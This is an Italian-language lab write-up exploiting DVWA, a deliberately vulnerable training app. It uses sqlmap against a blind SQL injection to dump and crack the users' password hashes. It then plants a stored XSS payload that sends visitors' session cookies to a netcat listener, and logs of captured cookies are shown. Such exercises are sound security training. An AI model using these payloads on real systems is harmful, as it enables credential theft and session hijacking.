

Report XSS stored, SQL injection blind

1-Come prima task vado a recuperare le password degli utenti presenti nel DB sfruttando la SQLi (blind). La Blind SQL Injection è identica alla normale SQL Injection, tranne per il fatto che quando un aggressore tenta di sfruttare un'applicazione, invece di ricevere un utile messaggio di errore, ottiene una pagina generica specificata dallo sviluppatore. Di seguito delle piccole differenze nei due source.

SQL Injection (Blind) Source	SQL Injection Source
<pre><?php if (isset(\$_GET['Submit'])) { // Retrieve data \$id = \$_GET['id']; \$getid = "SELECT first name, last name FROM users WHERE user id = '\$id'"; \$result = mysql_query(\$getid); // Removed 'or die' to suppress mysql errors \$num = @mysql_numrows(\$result); // The '@' character suppresses errors making the injection 'blind' \$i = 0; while (\$i < \$num) { \$first = mysql_result(\$result,\$i,"first_name"); \$last = mysql_result(\$result,\$i,"last_name"); echo '<pre>'; echo 'ID: ' . \$id . '
First name: ' . \$first . '
Surname: ' . \$last; echo '</pre>'; \$i++; } } ?></pre>	<pre><?php if(isset(\$_GET['Submit'])) { // Retrieve data \$id = \$_GET['id']; \$getid = "SELECT first name, last name FROM users WHERE user id = '\$id'"; \$result = mysql_query(\$getid) or die('<pre> . mysql_error() . '</pre>'); \$num = mysql_numrows(\$result); \$i = 0; while (\$i < \$num) { \$first = mysql_result(\$result,\$i,"first_name"); \$last = mysql_result(\$result,\$i,"last_name"); echo '<pre>'; echo 'ID: ' . \$id . '
First name: ' . \$first . '
Surname: ' . \$last; echo '</pre>'; \$i++; } } ?></pre>

Dopo aver impostato la sicurezza in low apro la sezione SQL injection(blind) e vado a inserire "1" e invio, andando ad intercettare con burpsuite il cookie di sessione.

Home	Instructions	Setup
Brute Force	Command Execution	CSRF
File Inclusion	SQL Injection	SQL Injection (Blind)
Upload	XSS reflected	

User ID:

More info

<http://www.securiteam.com/secu>
<http://en.wikipedia.org/wiki/SQL>
<http://www.unixwiz.net/techtips/s>

```
1 GET /dvwa/vulnerabilities/sqli_blind/?id=1&Submit=
Submit HTTP/1.1
2 Host: 192.168.1.102
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/107.0.5304.107 Safari/537.36
5 Accept:
text/html,application/xhtml+xml,application/xml;q=0
.9,image/avif,image/webp,image/apng,*/*;q=0.8,appli
cation/signed-exchange;v=b3;q=0.9
6 Referer:
http://192.168.1.102/dvwa/vulnerabilities/sqli_blin
d/
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9 Cookie: security=low; PHPSESSID=
ce37f43cd52c99a91ebecaa29780e9b2
10 Connection: close
11
12
```

A questo punto (visto il problema di sql blind che ci permetteva di visualizzare tutto come la normale sqli) sono andato a eseguire sqlmap inserendo il cookie appena intercettato, ricevendo come risultato la lista degli user con le relative password hashate e successivamente decriptate.

```
(kali@kali)-[~]
$ sqlmap -u 'http://192.168.1.102/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit' -cookie "securit
y=low; PHPSESSID=ce37f43cd52c99a91eb22a29780e9b2" --dump

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It i
s the end user's responsibility to obey all applicable local, state and federal laws. Developers assume n
o liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:29:50 /2022-12-02/

do you want to crack them via a dictionary-based attack? [Y/n/q] y
[08:30:01] [INFO] using hash method 'md5_generic_passwd'
[08:30:01] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[08:30:01] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[08:30:01] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[08:30:01] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+-----+-----+-----+-----+-----+
| user_id | user | avatar | password |
+-----+-----+-----+-----+
| 1 | admin | http://172.16.123.129/dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb88
2cf99 (password) | admin | admin |
| 2 | gordonb | http://172.16.123.129/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f2608536789
22e03 (abc123) | Brown | Gordon |
| 3 | 1337 | http://172.16.123.129/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc6
9216b (charley) | Me | Hack |
| 4 | pablo | http://172.16.123.129/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e
9e9b7 (letmein) | Picasso | Pablo |
| 5 | smithy | http://172.16.123.129/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb88
2cf99 (password) | Smith | Bob |
+-----+-----+-----+-----+

[08:30:01] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.1.
102/dump/dvwa/users.csv'
[08:30:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.
1.102'

[*] ending @ 08:30:01 /2022-12-02/
```

2- Come seconda task vado a recuperare i cookie di sessione delle vittime dell'XSS stored e li invio nel server attaccante tramite netcat.

Una volta entrato nella sezione XSS stored provo ad inserire lo script nella sezione message ma veniva croppato. Quindi aprendo il source code sono andato a modificare la lunghezza massima.

```
Search HTML
+
<tbody>
  <tr>
    <td width="100">Message *</td>
    <td>
      <textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
    </td>
  </tr>
</tbody>
</table>
```

Ora apro netcat e lo metto in ascolto sulla porta 3322.

```
kali@kali: ~$ nc -l -p 3322
```

Vado ad inserire quindi lo script.

Vulnerability: Stored Cross Site Scripting (XSS)

Name *	<input type="text" value="cookie"/>
Message *	<input type="text" value="<script>new Image().src='http://192.168.1.100:3322/?cookie=' + encodeURIComponent(document.cookie);</script>"/>
<input type="button" value="Sign Guestbook"/>	

E il risultato sarà che mi viene inviato il cookie di sessione.

```
kali@kali: ~$ nc -l -p 3322
GET /?cookie=security=low;%20PHPSESSID=1371823d6407391736eaa3af08939fc9 HTTP/1.1
Host: 192.168.1.100:3322
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.102/
```

Nella fase successiva avendo “storato” lo script, ogni volta che entrerò nella pagina di XSS stored mi si aprirà un pop up contenente il cookie di sessione. Questo vuol dire che lasciando in ascolto il mio netcat ogni volta che un utente entrerà nella pagina mi invierà il suo cookie di sessione. Come mostro di seguito.

```
File Actions Edit View Help
(kali@kali)-[~]
$ nc -l -p 3322
GET /?cookie=security=low;%20PHPSESSID=c31a34f4149fa77ca04100a65ebd0faa HTTP/1.1
Host: 192.168.1.100:3322
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.102/

Username: gordonb
Security Level: low
PHPIDS: disabled
```

```
kali@kali: ~
File Actions Edit View Help
(kali@kali)-[~]
$ nc -l -p 3322
GET /?cookie=security=low;%20PHPSESSID=c21f839f28ad234dac590778a1dabf91 HTTP/1.1
Host: 192.168.1.100:3322
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.102/

Username: pablo
Security Level: low
PHPIDS: disabled
```



```
File Actions Edit View Help
(kali@kali)-[~]
$ nc -l -p 3322
GET /?cookie=security=low;%20PHPSESSID=e3d0bad6215c8f66eb1b46b93730baf3 HTTP/1.1
Host: 192.168.1.100:3322
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.102/

Username: smithy
Security Level: low
PHPIDS: disabled
View Source

File Actions Edit View Help
(kali@kali)-[~]
$ nc -l -p 3322
GET /?cookie=security=low;%20PHPSESSID=0f7889fc2a52360d004becbefc7c0460 HTTP/1.1
Host: 192.168.1.100:3322
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.1.102/

Username: 1337
Security Level: low
PHPIDS: disabled
```

Ps. Per riuscire a simulare l'accesso da utenti diversi ho dovuto chiudere e riaprire firefox per ogni utente in modo che venisse "resettato" il cookie, altrimenti se avessi semplicemente fatto login e logout senza chiudere il browser mi sarebbe uscito sempre lo stesso cookie.